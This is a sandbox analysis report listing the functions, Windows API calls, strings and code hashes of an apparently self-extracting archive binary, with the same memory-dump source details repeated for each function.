Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fc4de28800c55bfca7311043ec43d7a1db9980786be0e40595034a46f0ac412c
Instruction ID: 5dda8a43ef451975d1f91d758db3bf14d9704fa382f48c28223759a15e685ce8
Opcode Fuzzy Hash: fc4de28800c55bfca7311043ec43d7a1db9980786be0e40595034a46f0ac412c
Instruction Fuzzy Hash: DCA011C22A8002BC3808E2A02C82C3B028CC0C0B2033288FEF822820E0BC8088000830

Function 00B9E573 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E580

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4b2336450ba8d354402e14d69968548551dac3f0c0013febc901f246f7fea7f2
Instruction ID: a014c4f47a88a9054eafe820d23a8bc8a4400c7340e5c6a4b1c42f717c2ed3bd
Opcode Fuzzy Hash: 4b2336450ba8d354402e14d69968548551dac3f0c0013febc901f246f7fea7f2
Instruction Fuzzy Hash: 0DA011C22A80003C3808E2A02C82C3B0A8CC0E0B2233282FEF822A20E0BC8088000830

Function 00B9E569 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E51F

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0bb6b50d525aaa3b2e4f3dbfa3109a9ebbd2ebf9119a0eb894410b7fc181a827
Instruction ID: 60d54fdcedb85bdb9e71290b0cacac07cbc2a47b7a8c40a6cdeb568c3777bfb0
Opcode Fuzzy Hash: 0bb6b50d525aaa3b2e4f3dbfa3109a9ebbd2ebf9119a0eb894410b7fc181a827
Instruction Fuzzy Hash: 3FA011C22A8002BC3808E2802C82CBB0A8CC0C2F2033088FEF822800A0BC80CC000830

Function 00B9E55F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E51F

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 94869ae745b56b0f6d9ee51ce2e61d420c892f1416818ba46b54b4474618f977
Instruction ID: 60d54fdcedb85bdb9e71290b0cacac07cbc2a47b7a8c40a6cdeb568c3777bfb0
Opcode Fuzzy Hash: 94869ae745b56b0f6d9ee51ce2e61d420c892f1416818ba46b54b4474618f977
Instruction Fuzzy Hash: 3FA011C22A8002BC3808E2802C82CBB0A8CC0C2F2033088FEF822800A0BC80CC000830

Function 00B9E555 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E51F

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 32e1c4d1ceac50c9985475398bae8121934b548bf90820b562295bc03fe742a4
Instruction ID: 60d54fdcedb85bdb9e71290b0cacac07cbc2a47b7a8c40a6cdeb568c3777bfb0
Opcode Fuzzy Hash: 32e1c4d1ceac50c9985475398bae8121934b548bf90820b562295bc03fe742a4
Instruction Fuzzy Hash: 3FA011C22A8002BC3808E2802C82CBB0A8CC0C2F2033088FEF822800A0BC80CC000830

Function 00B9E541 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E51F

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 77d4d4ea954233856621f6bf34f4ccd03c3ac06035b8cf7429de1f737ea27cad
Instruction ID: 60d54fdcedb85bdb9e71290b0cacac07cbc2a47b7a8c40a6cdeb568c3777bfb0
Opcode Fuzzy Hash: 77d4d4ea954233856621f6bf34f4ccd03c3ac06035b8cf7429de1f737ea27cad
Instruction Fuzzy Hash: 3FA011C22A8002BC3808E2802C82CBB0A8CC0C2F2033088FEF822800A0BC80CC000830

Function 00B89F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00B8903E,?,?,-00000870,?,-000018B8,00000000,?,-000028B8,?,00000800,-000028B8,?,00000000,?), ref: 00B89F0C

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 1d1b14bf9d52413ddf677528d468fc9d15394a67cb1ae9a91e4f93d4cc95f85f
Instruction ID: efa642f9cc80de6fcbb483b06bc66489c29a4549bd32fc18fc20fa1ba3bcb6f6
Opcode Fuzzy Hash: 1d1b14bf9d52413ddf677528d468fc9d15394a67cb1ae9a91e4f93d4cc95f85f
Instruction Fuzzy Hash: 68A0113008000A8B8E002B30CA0820C3B20EB20BC030202A8A00ACB0A2CB22880B8A00

Function 00B9AC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00B9AE72,C:\Users\user\Desktop,00000000,00BC946A,00000006), ref: 00B9AC08

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: ddee3af798135a550012717f82ed4a7f240dc85b8b3333a8b918d4a4d6fd0db5
Instruction ID: 31e1e44932376f10d013f1338c0e041a526fbc5d40db5b7d4b1860060424ed68
Opcode Fuzzy Hash: ddee3af798135a550012717f82ed4a7f240dc85b8b3333a8b918d4a4d6fd0db5
Instruction Fuzzy Hash: F3A01130200200AB83000B328F0AA0EBAAAAFA2B00F00C028A00080030CB30C820AA00

Function 00B89620 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,00B895D6,?,?,?,?,?,00BB2641,000000FF), ref: 00B8963B

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: de93bb1dfb687712f18628f6cb8f2cdaf511276b06d10412cf4fba12c6446d33
Instruction ID: e81bb9663af6540c5a479ea7a72fa3421226c123b161cac523b91010787c5d96
Opcode Fuzzy Hash: de93bb1dfb687712f18628f6cb8f2cdaf511276b06d10412cf4fba12c6446d33
Instruction Fuzzy Hash: 70F05E71486B159FDF31AE24C458BA2B7E8EB12325F081B9E90E6429F0E761698DCB40

Non-executed Functions

Function 00B9C220 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B81316: GetDlgItem.USER32(00000000,00003021), ref: 00B8135A
Part of subcall function 00B81316: SetWindowTextW.USER32(00000000,00BB35F4), ref: 00B81370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00B9C2B1
EndDialog.USER32(?,00000006), ref: 00B9C2C4
GetDlgItem.USER32(?,0000006C), ref: 00B9C2E0
SetFocus.USER32(00000000), ref: 00B9C2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00B9C321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00B9C358
FindFirstFileW.KERNEL32(?,?), ref: 00B9C36E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00B9C38C
FileTimeToSystemTime.KERNEL32(?,?), ref: 00B9C39C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00B9C3B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00B9C3D4
_swprintf.LIBCMT ref: 00B9C404

Part of subcall function 00B84092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B840A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00B9C417
FindClose.KERNEL32(00000000), ref: 00B9C41E
_swprintf.LIBCMT ref: 00B9C477
SetDlgItemTextW.USER32(?,00000068,?), ref: 00B9C48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00B9C4A7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00B9C4C7
FileTimeToSystemTime.KERNEL32(?,?), ref: 00B9C4D7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00B9C4F1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00B9C509
_swprintf.LIBCMT ref: 00B9C535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00B9C548
_swprintf.LIBCMT ref: 00B9C59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 00B9C5AF

Part of subcall function 00B9AF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00B9AF35
Part of subcall function 00B9AF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,00BBE72C,?,?), ref: 00B9AF84

Strings

%s %s %s, xrefs: 00B9C3F2, 00B9C527
%s %s, xrefs: 00B9C469, 00B9C58E
REPLACEFILEDLG, xrefs: 00B9C247

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: cddd60cac488815abd247c4c27a5cad20675695df021f6242be58067b6434f83
Instruction ID: 264653d1702544dd02a065b88e0af690da9da0e9e0a2fb6c4a165d0fb5d849ea
Opcode Fuzzy Hash: cddd60cac488815abd247c4c27a5cad20675695df021f6242be58067b6434f83
Instruction Fuzzy Hash: EB918472148344BFD621ABA4CC89FFB7BECEB4AB00F444869F649D7091DB75E6048762

Function 00B86FAA Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 328fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B86FAA
_wcslen.LIBCMT ref: 00B87013
_wcslen.LIBCMT ref: 00B87084

Part of subcall function 00B87A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00B87AAB
Part of subcall function 00B87A9C: GetLastError.KERNEL32 ref: 00B87AF1
Part of subcall function 00B87A9C: CloseHandle.KERNEL32(?), ref: 00B87B00

Part of subcall function 00B8A1E0: DeleteFileW.KERNELBASE(000000FF,?,?,00B8977F,?,?,00B895CF,?,?,?,?,?,00BB2641,000000FF), ref: 00B8A1F1
Part of subcall function 00B8A1E0: DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00B8977F,?,?,00B895CF,?,?,?,?,?,00BB2641), ref: 00B8A21F

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00B87139
CloseHandle.KERNEL32(00000000), ref: 00B87155
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00B87298

Part of subcall function 00B89DA2: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00B873BC,?,?,?,00000000), ref: 00B89DBC
Part of subcall function 00B89DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00B89E70

Part of subcall function 00B89620: CloseHandle.KERNELBASE(000000FF,?,?,00B895D6,?,?,?,?,?,00BB2641,000000FF), ref: 00B8963B

Part of subcall function 00B8A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00B8A325,?,?,?,00B8A175,?,00000001,00000000,?,?), ref: 00B8A501
Part of subcall function 00B8A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00B8A325,?,?,?,00B8A175,?,00000001,00000000,?,?), ref: 00B8A532

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 00B86FCC
SeRestorePrivilege, xrefs: 00B86FC2
\??\, xrefs: 00B8702B
UNC\, xrefs: 00B87051

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: File$CloseHandle$AttributesCreateDelete_wcslen$BuffersCurrentErrorFlushH_prologLastProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3983180755-3508440684
Opcode ID: e12deb0ac3c44588bc2dadd454643df6b46f5127512ff000d1fb3d8d4c9eb257
Instruction ID: 0b93cebaca456bdc025b1a34c2dd4c72a9711c79d08f72b3f0a4a62264acb86e
Opcode Fuzzy Hash: e12deb0ac3c44588bc2dadd454643df6b46f5127512ff000d1fb3d8d4c9eb257
Instruction Fuzzy Hash: 0AC1C371944604AADB25FB74CC81FEEB3E8EF05304F14459AF956E32A2DB70EA44CB61

Function 00BAD8EE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00BADA34

Strings

1#IND, xrefs: 00BAEC2C
1#SNAN, xrefs: 00BAEC33
1#QNAN, xrefs: 00BAEC3A
1#INF, xrefs: 00BAEC41

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: a0f3048445bd9e5210761ec0faa129534a0f97e332367ee46c37abff0f6aab06
Instruction ID: 6854e8c45e8e95ad5ebb98374a1a9cbe1add17239ade46156d4e2a86755cb636
Opcode Fuzzy Hash: a0f3048445bd9e5210761ec0faa129534a0f97e332367ee46c37abff0f6aab06
Instruction Fuzzy Hash: 3FC24C71E086288FDB25CE28DD807EAB7F5EB4A314F1541EAD45EE7240E775AE818F40

Function 00B832F7 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B83300
_swprintf.LIBCMT ref: 00B836C7

Strings

CMT, xrefs: 00B83A17
h%u, xrefs: 00B836BC
hc%u, xrefs: 00B8370A

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: b53d8d7875c552dbf824d3fc93227ed9260e8ccc311ec4a299f348b81ae838e0
Instruction ID: 812d633061054f1b8ca7ebfec6f9ee491fd1cc1887ab0cd742572172eba2f2c6
Opcode Fuzzy Hash: b53d8d7875c552dbf824d3fc93227ed9260e8ccc311ec4a299f348b81ae838e0
Instruction Fuzzy Hash: 9D32D6B15142849FDF14EF74C895AE93BE5EF15B00F0804BDFD8A8B292DB749A49CB60

Function 00B8286B Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 798COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B82874
_strlen.LIBCMT ref: 00B82E3F

Part of subcall function 00B902BA: __EH_prolog.LIBCMT ref: 00B902BF

Part of subcall function 00B91B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00B8BAE9,00000000,?,?,?,0001040E), ref: 00B91BA0

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B82F91

Strings

CMT, xrefs: 00B82FBC

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog$ByteCharMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1206968400-2756464174
Opcode ID: 2fac716011019dbff1c0d0ae4c41174fc3d738fdd72243215f70163455a3670f
Instruction ID: d147d170b1ef058ddceedee5b5c37b13c0bbec4739263ada628ae4d84ac17b7c
Opcode Fuzzy Hash: 2fac716011019dbff1c0d0ae4c41174fc3d738fdd72243215f70163455a3670f
Instruction Fuzzy Hash: 1E62F5715006458FDF19EF38C8867EA3BE1EF55300F0845BEEC9A8B2A2DB759945CB60

Function 00B9F838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00B9F844
IsDebuggerPresent.KERNEL32 ref: 00B9F910
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B9F930
UnhandledExceptionFilter.KERNEL32(?), ref: 00B9F93A

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

